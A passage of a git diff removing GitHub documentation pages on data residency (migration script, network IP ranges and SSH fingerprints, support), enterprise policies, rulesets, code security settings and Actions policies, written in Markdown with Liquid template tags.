variables.enterprise.data_residency_site %}. The `--target-api-url` parameter sets your enterprise on {% data variables.enterprise.data_residency_site %} as the destination of the migration. - -You can use the environment variable definitions in the script as an example to create additional commands that migrate data using {% data variables.product.prodname_importer_proper_name %}. - -In the following script, **replace the following placeholder text** with actual values. - -| Placeholder | Description | -| :- | :- | -| TARGET-TOKEN | {% data variables.product.pat_generic_caps %} (PAT) for accessing the target enterprise on {% data variables.enterprise.data_residency_site %} | -| SOURCE-TOKEN | PAT for accessing the source resources on {% data variables.product.prodname_dotcom_the_website %} | -| TARGET-GHE-API-URL | The URL for accessing API endpoints for your enterprise. For example, if your enterprise's subdomain is `octocorp`, this value must be `https://api.octocorp.ghe.com`. | -| SOURCE-GH-ORGANIZATION-NAME | The name of the source organization on {% data variables.product.prodname_dotcom_the_website %}. | -| SOURCE-GH-REPOSITORY-NAME | The name of the source repository on {% data variables.product.prodname_dotcom_the_website %}. | -| TARGET-GHE-ORGANIZATION-NAME | The name of the target organization on {% data variables.enterprise.data_residency_site %}. | -| TARGET-GHE-REPOSITORY-NAME | The name of the target repository on {% data variables.enterprise.data_residency_site %}. | - -```bash copy -#!/bin/sh - -export GH_PAT="TARGET-TOKEN" -export GH_SOURCE_PAT="SOURCE-TOKEN" -export TARGET_API_URL="TARGET-GHE-API-URL" -export GITHUB_SOURCE_ORG="SOURCE-GH-ORGANIZATION-NAME" -export SOURCE_REPO="SOURCE-GH-REPOSITORY-NAME" -export GITHUB_TARGET_ORG="TARGET-GHE-ORGANIZATION-NAME" -export TARGET_REPO="TARGET-GHE-REPOSITORY-NAME" - -gh gei migrate-repo --target-api-url $TARGET_API_URL --github-source-org $GITHUB_SOURCE_ORG --source-repo $SOURCE_REPO --github-target-org $GITHUB_TARGET_ORG --target-repo $TARGET_REPO --verbose -``` - -## 4. Learn about {% data variables.product.github %}'s features - -When you have completed the initial setup of your enterprise, you and your enterprise's members can start using {% data variables.product.github %}'s features. - -{% data reusables.data-residency.data-resident-enterprise-feature-availability %} Some features work differently or require additional configuration compared to the equivalent feature on {% data variables.product.prodname_dotcom_the_website %}. See [AUTOTITLE](/admin/data-residency/feature-overview-for-github-enterprise-cloud-with-data-residency). - -## Further reading - -* [AUTOTITLE](/admin/data-residency/resolving-issues-with-your-enterprise-on-ghecom) diff --git a/content/admin/data-residency/index.md b/content/admin/data-residency/index.md deleted file mode 100644 index 5e2c88c56368..000000000000 --- a/content/admin/data-residency/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: GitHub Enterprise Cloud with data residency -shortTitle: Data residency -versions: - ghec: '*' -children: - - /about-github-enterprise-cloud-with-data-residency - - /about-storage-of-your-data-with-data-residency - - /feature-overview-for-github-enterprise-cloud-with-data-residency - - /getting-started-with-data-residency-for-github-enterprise-cloud - - /network-details-for-ghecom - - /resolving-issues-with-your-enterprise-on-ghecom -redirect_from: - - /early-access/admin/using-a-data-local-enterprise-on-github - - /early-access/admin/using-a-data-resident-enterprise-on-github - - /early-access/admin/preview-of-data-residency-for-github-enterprise - - /early-access/admin/private-ga-of-data-residency-for-github-enterprise-cloud - - /early-access/admin/data-residency-for-github-enterprise-cloud ---- diff --git a/content/admin/data-residency/network-details-for-ghecom.md b/content/admin/data-residency/network-details-for-ghecom.md deleted file mode 100644 index fa87b67f8ef3..000000000000 --- a/content/admin/data-residency/network-details-for-ghecom.md +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: Network details for GHE.com -shortTitle: Network details -intro: 'Ensure client systems can access your resources on {% data variables.enterprise.data_residency_site %}.' -versions: - ghec: '*' -redirect_from: - - /early-access/admin/preview-of-data-residency-for-github-enterprise/network-access-to-resources-on-ghecom - - /early-access/admin/private-ga-of-data-residency-for-github-enterprise-cloud/network-access-to-resources-on-ghecom - - /early-access/admin/data-residency-for-github-enterprise-cloud/network-access-to-resources-on-ghecom ---- - -To access your enterprise on {% data variables.enterprise.data_residency_site %}, client systems must: - -* Trust the following SSH key fingerprints -* Have access to the following hostnames and IP addresses - -## {% data variables.product.github %}'s SSH key fingerprints - -* `SHA256:PYES2CtancLX+w0+VvwWRQclfulUkqj6hpZmcKFAO3w` (RSA) -* `SHA256:TKoEXigNsj5b6XaSOSf20L0y3cuNx41WWM+l4AAK9k4` (ECDSA) -* `SHA256:LqPvjvQugr3MmzVYw9M3gT7won8/lUPZCSvmNydl7vU` (Ed25519) - -## {% data variables.product.github %}'s hostnames - -* `*.{% data variables.enterprise.data_residency_domain %}`, where SUBDOMAIN is your enterprise's dedicated subdomain on {% data variables.enterprise.data_residency_site %} -* `*.githubassets.com` -* `*.githubusercontent.com` -* `*.blob.core.windows.net` - -## {% data variables.product.github %}'s IP addresses - -{% data variables.product.company_short %}'s IP address ranges for enterprises on {% data variables.enterprise.data_residency_site %} depend on your chosen region. - -### The EU - -These are {% data variables.product.company_short %}'s IP address ranges for enterprises hosted in the EU. - -#### Ranges for egress traffic - -* 108.143.221.96/28 -* 20.61.46.32/28 -* 20.224.62.160/28 -* 51.12.252.16/28 -* 74.241.131.48/28 -* 20.240.211.176/28 - -#### Ranges for ingress traffic - -* 108.143.197.176/28 -* 20.123.213.96/28 -* 20.224.46.144/28 -* 20.240.194.240/28 -* 20.240.220.192/28 -* 20.240.211.208/28 - -### Australia - -These are {% data variables.product.company_short %}'s IP address ranges for enterprises hosted in Australia. - -#### Ranges for egress traffic - -* 20.5.34.240/28 -* 20.5.146.128/28 -* 68.218.155.16/28 - -#### Ranges for ingress traffic - -* 4.237.73.192/28 -* 20.5.226.112/28 -* 20.248.163.176/28 - -## Supported regions for Azure private networking - -If you use Azure private networking for {% data variables.product.company_short %}-hosted runners, the supported Azure regions on {% data variables.enterprise.data_residency_site %} differ from those on {% data variables.product.prodname_dotcom_the_website %}. - -### Supported regions in the EU - -| Runner type | Supported regions | -| ----------- | ----------------- | -| x64 | `francecentral`, `swedencentral`, `germanywestcentral` | -| arm64 | `francecentral`, `northeurope`, `germanywestcentral` | -| GPU | `italynorth`, `swedencentral` | - -### Supported regions in Australia - -| Runner type | Supported regions | -| ----------- | ----------------- | -| x64 | `australiaeast`, `australiacentral` | -| arm64 | `australiaeast`, `australiacentral` | -| GPU | N/A | - -## IP ranges for {% data variables.product.prodname_importer_proper_name %} - -If you're running a migration to your enterprise with {% data variables.product.prodname_importer_proper_name %}, you may need to add certain ranges to an IP allow list. See [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#configuring-ip-allow-lists-for-migrations). - -You must allow: - -* Ranges required for everyone -* Additional ranges that depend on your data residency region - -### Required for everyone - -* 192.30.252.0/22 -* 185.199.108.0/22 -* 140.82.112.0/20 -* 143.55.64.0/20 -* 2a0a:a440::/29 -* 2606:50c0::/32 - -### Required in the EU - -* 4.231.155.80/29 -* 4.225.9.96/29 -* 51.12.152.184/29 -* 20.199.6.80/29 -* 51.12.144.32/29 -* 20.199.1.232/29 -* 51.12.152.240/29 -* 20.19.101.136/29 -* 74.241.131.48/28 -* 51.12.252.16/28 -* 20.240.211.176/28 -* 108.143.221.96/28 -* 20.61.46.32/28 -* 20.224.62.160/28 - -### Required in Australia - -* 20.213.236.72/29 -* 20.53.178.216/29 -* 20.213.241.72/29 -* 20.11.90.48/29 -* 20.5.34.240/28 -* 20.5.146.128/28 -* 68.218.155.16/28 diff --git a/content/admin/data-residency/resolving-issues-with-your-enterprise-on-ghecom.md b/content/admin/data-residency/resolving-issues-with-your-enterprise-on-ghecom.md deleted file mode 100644 index 751ffd20b5fe..000000000000 --- a/content/admin/data-residency/resolving-issues-with-your-enterprise-on-ghecom.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Resolving issues with your enterprise on GHE.com -shortTitle: Resolving issues -intro: "Learn the best course of action when you encounter problems." -versions: - ghec: '*' ---- - -## Viewing service status - -If you're experiencing problems with a service that usually works, like pull requests or {% data variables.product.prodname_copilot %}, you can check if an ongoing incident is affecting the service in your region. See {% data variables.product.company_short %}'s status page at https://githubstatus.com. - -## Getting support - -If you need help to resolve an issue, contact {% data variables.contact.contact_ent_support %}. Ensure you are signed in to the support portal with your {% data variables.enterprise.data_residency_site %} account. You can also purchase {% data variables.contact.premium_support %}. - -Some requests, such as configuration of an external identity management system, may not be in the scope of what {% data variables.contact.github_support %} can help with. See [AUTOTITLE](/support/learning-about-github-support/about-github-support#scope-of-support). - -## Giving feedback - -We encourage you to engage with your account team to provide feedback about your company's experience on {% data variables.enterprise.data_residency_site %}. - -## Further reading - -* [AUTOTITLE](/support/learning-about-github-support/about-github-premium-support) diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md deleted file mode 100644 index 326cfe20fee5..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: About enterprise policies -intro: 'With enterprise policies, you can manage the policies for all the organizations owned by your enterprise.' -versions: - ghec: '*' - ghes: '*' -type: overview -topics: - - Enterprise - - Policies -redirect_from: - - /admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies ---- - -To help you enforce business rules and regulatory compliance, policies provide a single point of management for all the organizations owned by an enterprise account. - -{% data reusables.enterprise.about-policies %} - -For example, with the "Base permissions" policy, you can allow organization owners to configure the "Base permissions" policy for their organization, or you can enforce a specific base permissions level, such as "Read", for all organizations within the enterprise. - -## Enforcing policies - -By default, no enterprise policies are enforced. To identify policies that should be enforced to meet the unique requirements of your business, we recommend reviewing all the available policies in your enterprise account, starting with repository management policies. - -While you're configuring enterprise policies, to help you understand the impact of changing each policy, you can view the current configurations for the organizations owned by your enterprise. - -{% data reusables.enterprise.repo-policy-rules-alternative %} - -For a full list of repository management policies, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise). - -{% ifversion ghes %} -Another way to enforce standards within your enterprise is to use pre-receive hooks, which are scripts that run on {% data variables.location.product_location %} to implement quality checks. For more information, see [AUTOTITLE](/admin/policies/enforcing-policy-with-pre-receive-hooks). -{% endif %} - -## Further reading - -* [AUTOTITLE](/admin/overview/about-enterprise-accounts) diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-governance.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-governance.md deleted file mode 100644 index 11a1490c5cea..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-governance.md +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Enforcing code governance in your enterprise with rulesets -allowTitleToDifferFromFilename: true -intro: 'You can create a ruleset to target multiple repositories in your enterprise.' -versions: - feature: enterprise-code-rulesets -permissions: 'Enterprise owners' -shortTitle: Create rulesets -type: how_to -topics: - - Enterprise - - Policies - - Repositories - - Security ---- - -## Introduction - -You can create rulesets to control how users can interact with code in repositories across your enterprise. You can: - -* Create a **branch or tag ruleset** to control things like who can push commits to a certain branch, how commits must be formatted, or who can delete or rename a tag. -* Create a **push ruleset** to block pushes to a private or internal repository and the repository's entire fork network. Push rulesets allow you to block pushes based on file extensions, file path lengths, file and folder paths, and file sizes. - -To learn more, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -## Importing rulesets - -To import a prebuilt ruleset created by {% data variables.product.company_short %}, see [`github/ruleset-recipes`](https://github.com/github/ruleset-recipes). - -{% data reusables.repositories.import-a-ruleset-conceptual %} For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization#using-ruleset-history). - -## How will I define where my ruleset applies? - -Rulesets allow you to flexibly target the organizations, repositories, and branches where you want rules to apply. - -* To target **organizations**, you can select all, choose from a list, or define a dynamic pattern for organization names using `fnmatch` syntax. For syntax details, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#using-fnmatch-syntax). -* Within those organizations, you can target all **repositories**, or target a dynamic list by custom property. See [AUTOTITLE](/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization). -* Within the repositories, you can target certain **branches or tags**: all branches, the default branch, or a dynamic list using `fnmatch` syntax. - -When you create a ruleset that targets branches in a repository, repository administrators can no longer rename branches or change the default branch in the targeted repository. They can still create and delete branches if they have the appropriate permissions. - -## How can I control the format of commits? - -In branch or tag rulesets, you can add a rule that restricts the format of commit metadata such as commit message or author email. - -If you select **Must match a given regex pattern restriction**, you can use regular expression syntax to define patterns that the metadata must or must not match. For syntax details and examples, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#using-regular-expressions-for-commit-metadata). - -## Using ruleset enforcement statuses - -{% data reusables.repositories.rulesets-about-enforcement-statuses %} - -## Creating a branch or tag ruleset - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -1. Under "Policies", click **Code**. -{% data reusables.repositories.create-ruleset-step %} -{% data reusables.repositories.rulesets-general-step %} - -### Granting bypass permissions for your branch or tag ruleset - -You can grant certain roles, teams, or apps bypass permissions as well as the ability to approve bypass requests for your ruleset. - -The following are eligible for bypass access: -* Repository admins, organization owners, and enterprise owners -* The maintain or write role, or deploy keys. - -1. To grant bypass permissions for the ruleset, in the "Bypass list" section, click **Add bypass**. - -1. In the "Add bypass" modal dialog that appears, search for the role, team, or app you would like to grant bypass permissions, then select the role, team, or app from the "Suggestions" section and click Add Selected. - -{% data reusables.repositories.rulesets-branch-tag-bypass-optional-step %} - -### Choosing which organizations to target in your enterprise - -Select all organizations, choose a selection of existing organizations, or set a dynamic list by name. If you use {% data variables.product.prodname_emus %}, you can also choose to target all repositories owned by users in your enterprise. - -If you set a dynamic list, you'll add one or more naming patterns using `fnmatch` syntax. For example, the string `*open-source` would match any organization with a name that ends with `open-source`. For syntax details, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#using-fnmatch-syntax). - -### Choosing which repositories to target in your enterprise - -Within the selected organizations, you can target all repositories or target a dynamic list by custom property. See [AUTOTITLE](/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization). - -### Choosing which branches or tags to target - -{% data reusables.repositories.rulesets-target-branches %} - -### Selecting branch or tag protections - -In the "Branch protections" or "Tag protections" section, select the rules you want to include in the ruleset. When you select a rule, you may be able to enter additional settings for the rule. For more information on the rules, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets). - -### Adding metadata restrictions - -{% data reusables.repositories.rulesets-metadata-step %} - -### Finalizing your branch or tag ruleset and next steps - -{% data reusables.repositories.rulesets-create-and-insights-step %} - -{% ifversion push-rulesets %} - -## Creating a push ruleset - -{% data reusables.repositories.push-rules-fork-network-note %} - -You can create a push ruleset for private or internal repositories in your enterprise. - -{% data reusables.enterprise-accounts.access-enterprise %} -1. In the left sidebar, in the "Policies" section, click **Code**. -1. Click **New ruleset**. -1. Click **New push ruleset**. -1. Under "Ruleset name," type a name for the ruleset. -1. Optionally, to change the default enforcement status, click **Disabled** and select an enforcement status. For more information about enforcement statuses, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets) - -### Granting bypass permissions for your push ruleset - ->[!NOTE] Bypass permissions for push rulesets that target a repository will be inherited by the entire fork network for this repository. {% data reusables.repositories.rulesets-push-rulesets-bypass-permissions %} - -You can grant certain roles, teams, or apps bypass permissions as well as the ability to approve bypass requests for your ruleset. The following are eligible for bypass access: - -* Repository admins, organization owners, and enterprise owners -* The maintain or write role, or deploy keys - -1. To grant bypass permissions for the ruleset, in the "Bypass list" section, click **Add bypass**. -1. In the "Add bypass" modal dialog that appears, search for the role, team, or app you would like to grant bypass permissions, then select the role, team, or app from the "Suggestions" section and click Add Selected. - -### Choosing which organizations to target in your enterprise - -Select all organizations, choose a selection of existing organizations, or set a dynamic list by name. If you use {% data variables.product.prodname_emus %}, you can also choose to target all repositories owned by users in your enterprise. - -If you set a dynamic list, you'll add one or more naming patterns using `fnmatch` syntax. For example, the string `*open-source` would match any organization with a name that ends with `open-source`. For syntax details, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#using-fnmatch-syntax). - -### Choosing which repositories to target in your enterprise - -Within your chosen organizations, you can target all repositories, or target a dynamic list using custom properties. See [AUTOTITLE](/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization). - -### Selecting push protections - -{% data reusables.repositories.rulesets-push-rules-step %} - -### Finalizing your push ruleset and next steps - -{% data reusables.repositories.rulesets-create-and-insights-step %} - -{% endif %} diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise.md deleted file mode 100644 index 2b9d841ea70a..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise.md +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Enforcing policies for code security and analysis for your enterprise -intro: 'You can enforce policies to manage the use of code security and analysis features within your enterprise''s organizations.' -permissions: 'Enterprise owners' -product: '{% data reusables.gated-features.ghas-ghec %}' -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Advanced Security - - Code scanning - - Enterprise - - Policies - - Secret scanning - - Security -redirect_from: - - /admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise - - /github/setting-up-and-managing-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-policies-for-advanced-security-in-your-enterprise-account - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise - - /articles/enforcing-a-policy-on-dependency-insights - - /articles/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise -shortTitle: Security & analysis ---- - -## About policies for using security features in your enterprise - -You can enforce policies to manage the use of security features within organizations owned by your enterprise. You can allow or disallow people with admin access to a repository to enable or disable the security and analysis features. - -Additionally, you can enforce policies for the use of {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %} products{% endif %} in your enterprise's organizations and repositories. - -{% ifversion ghec %} - -## Enforcing a policy for visibility of dependency insights - -Dependency insights show all open source projects that repositories within your enterprise's organizations depend on. Dependency insights include aggregated information about security advisories and licenses. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-dependencies-in-your-organization). - -Across all organizations owned by your enterprise, you can control whether organization members can view dependency insights. You can also allow owners to administer the setting on the organization level. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} -1. Under "Dependency insights", review the information about changing the setting. -1. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -1. Under "Dependency insights", select the dropdown menu and click a policy. - -{% endif %} - -{% ifversion security-feature-enablement-policies-dependabot %} - -## Enforcing a policy to manage the use of {% data variables.product.prodname_dependabot_alerts %} in your enterprise - -Across all organizations owned by your enterprise, you can allow members with admin permissions for repositories to enable or disable {% data variables.product.prodname_dependabot_alerts %} and change {% data variables.product.prodname_dependabot_alerts %} settings. - -{% data reusables.enterprise.role-permission-hierarchy %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} -1. Under "Enable or disable {% data variables.product.prodname_dependabot_alerts %} by repository admins", use the dropdown menu to choose a policy. - -{% endif %} - -## Enforcing a policy for the use of {% data variables.product.prodname_GH_advanced_security %} in your enterprise's organizations - -{% data reusables.advanced-security.about-ghas-organization-policy %} - -{% data reusables.enterprise.role-permission-hierarchy %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} -1. In the "{% data variables.product.prodname_GH_advanced_security %} policies" section, under "{% data variables.product.prodname_GH_advanced_security %} availability", select the dropdown menu and click a policy for the organizations owned by your enterprise. - -{% data reusables.enterprise-accounts.advanced-security-organization-policy-drop-down %} -{% data reusables.enterprise-accounts.advanced-security-individual-organization-policy-drop-down %} - -## Enforcing a policy to manage the use of {% data variables.product.prodname_GH_advanced_security %} features in your enterprise's repositories - -Across all of your enterprise's organizations, you can allow or disallow people with admin access to repositories to manage the use of {% data variables.product.prodname_GH_advanced_security %} features in the repositories. {% data reusables.advanced-security.ghas-must-be-enabled %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} -1. In the "{% data variables.product.prodname_GH_advanced_security %} policies" section, under "Enable or disable {% data variables.product.prodname_GH_advanced_security %} by repository admins", select the dropdown menu and click a policy. - -## Enforcing a policy to manage the use of {% data variables.product.prodname_secret_scanning %} in your enterprise's repositories - -Across all of your enterprise's organizations, you can allow or disallow people with admin access to repositories to manage and configure {% data variables.product.prodname_secret_scanning %} for the repositories. {% data reusables.advanced-security.ghas-must-be-enabled %} - -{% data reusables.enterprise.role-permission-hierarchy %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} -1. In the "{% data variables.product.prodname_GH_advanced_security %} policies" section, under "Enable or disable {% data variables.product.prodname_secret_scanning %} by repository admins", select the dropdown menu and click a policy. - -{% ifversion secret-scanning-ai-generic-secret-detection %} - -## Enforcing a policy to manage the use of {% data variables.secret-scanning.generic-secret-detection %} for {% data variables.product.prodname_secret_scanning %} in your enterprise's repositories - -Across all of your enterprise's organizations, you can allow or disallow people with admin access to repositories to manage and configure AI detection in {% data variables.product.prodname_secret_scanning %} for the repositories. {% data reusables.advanced-security.ghas-must-be-enabled %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} -1. In the "{% data variables.product.prodname_GH_advanced_security %} policies" section, under "AI detection in {% data variables.product.prodname_secret_scanning %}", select the dropdown menu and click a policy. - -{% endif %} - -{% ifversion code-scanning-autofix %} - -## Enforcing a policy to manage the use of {% data variables.product.prodname_copilot_autofix_short %} in your enterprise's repositories - -Across all of your enterprise's organizations, you can allow or disallow people with admin access to repositories to manage where {% data variables.product.prodname_copilot_autofix_short %} is enabled. {% data reusables.advanced-security.ghas-must-be-enabled %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} -1. In the "{% data variables.product.prodname_GH_advanced_security %} policies" section, under "{% data variables.product.prodname_copilot_autofix_short %}", select the dropdown menu and click a policy. - -{% endif %} diff --git a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md b/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md deleted file mode 100644 index 16212430266f..000000000000 --- a/content/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: Enforcing policies for GitHub Actions in your enterprise -intro: "You can enforce policies to manage how {% data variables.product.prodname_actions %} can be used within your enterprise." -permissions: "Enterprise owners" -redirect_from: - - /enterprise/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise - - /admin/github-actions/enforcing-github-actions-policies-for-your-enterprise - - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/enforcing-github-actions-policies-for-your-enterprise - - /github/setting-up-and-managing-your-enterprise-account/enforcing-github-actions-policies-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/enforcing-github-actions-policies-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-github-actions-policies-in-your-enterprise-account - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise - - /github/setting-up-and-managing-your-enterprise-account/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-enterprise-account - - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Actions - - Enterprise - - Policies -shortTitle: GitHub Actions policies ---- - -## What are policies for {% data variables.product.prodname_actions %}? - -Enterprise policies control the options that are available to enterprise members when they use {% data variables.product.prodname_actions %}. - -If you don't enforce enterprise policies, organization owners{% ifversion custom-org-roles %} and users with the "Manage organization Actions policies" permission{% endif %} have full control over {% data variables.product.prodname_actions %} for their organizations. - -## Enforcing policies - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -1. After you configure each policy, click **Save**. - -For more information about each section of the "Policies" page, continue reading. - -## Policies - -In the "Policies" section, you can control which organizations within your enterprise can use {% data variables.product.prodname_actions %}, with the following options: - -* Enable {% data variables.product.prodname_actions %} for all organizations -* Enable {% data variables.product.prodname_actions %} for specific organizations -* Disable {% data variables.product.prodname_actions %} for all organizations - -You can also limit the use of public actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %}, with the following options: - -* **Allow all actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %}:** Any action {% ifversion actions-workflow-policy %}or reusable workflow{% endif %} can be used, regardless of who authored it or where it is defined. -* **Allow enterprise actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %}:** Only actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} defined in a repository within the enterprise can be used. {% ifversion ghec or fpt %}Blocks all access to actions authored by {% data variables.product.prodname_dotcom %}, such as the [`actions/checkout`](https://github.com/actions/checkout) action.{% endif %} -* {% data reusables.actions.policy-label-for-select-actions-workflows %}: Any action {% ifversion actions-workflow-policy %}or reusable workflow{% endif %} defined in a repository within the enterprise can be used, plus any action {% ifversion actions-workflow-policy %}or reusable workflow{% endif %} that matches criteria you specify. - -<span id="allowing-select-actions-and-reusable-workflows-to-run" ></span> - -### {% data reusables.actions.policy-label-for-select-actions-workflows %} - -If you choose this option, actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} within your enterprise are allowed, and you'll have the following options for allowing other actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}: - -* **Allow actions created by {% data variables.product.prodname_dotcom %}:** Allows all actions created by {% data variables.product.prodname_dotcom %}, located in the [`actions`](https://github.com/actions) and [`github`](https://github.com/github) organizations. -* **Allow Marketplace actions by verified creators:** Allows all {% data variables.product.prodname_marketplace %} actions created by verified creators, labeled with {% octicon "verified" aria-label="The verified badge" %}.{% ifversion ghes %} - - Only available if you have {% data variables.product.prodname_github_connect %} enabled and configured with {% data variables.product.prodname_actions %}. See [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect).{% endif %} -* **Allow specified actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}:** Allows actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} that you specify. You can specify individual actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} or entire organizations and repositories. - -When specifying actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, use the following syntax: - -* To restrict access to specific tags or commit SHAs of an action{% ifversion actions-workflow-policy %} or reusable workflow{% endif %}, use the same syntax used in the workflow to select the action{% ifversion actions-workflow-policy %} or reusable workflow{% endif %}. - * For an action, the syntax is `OWNER/REPOSITORY@TAG-OR-SHA`. For example, use `actions/javascript-action@v1.0.1` to select a tag or `actions/javascript-action@a824008085750b8e136effc585c3cd6082bd575f` to select a SHA. - {%- ifversion actions-workflow-policy %} - * For a reusable workflow, the syntax is `OWNER/REPOSITORY/PATH/FILENAME@TAG-OR-SHA`. For example, `octo-org/another-repo/.github/workflows/workflow.yml@v1`. - {%- endif %} -* To specify a pattern, use the wildcard character, `*`. - * To allow all actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} in organizations that start with `space-org`, use `space-org*/*`. - * To allow all actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} in repositories that start with octocat, use `*/octocat**@*`. - -## Runners - -By default, anyone with admin access to a repository can add a self-hosted runner for the repository, and self-hosted runners come 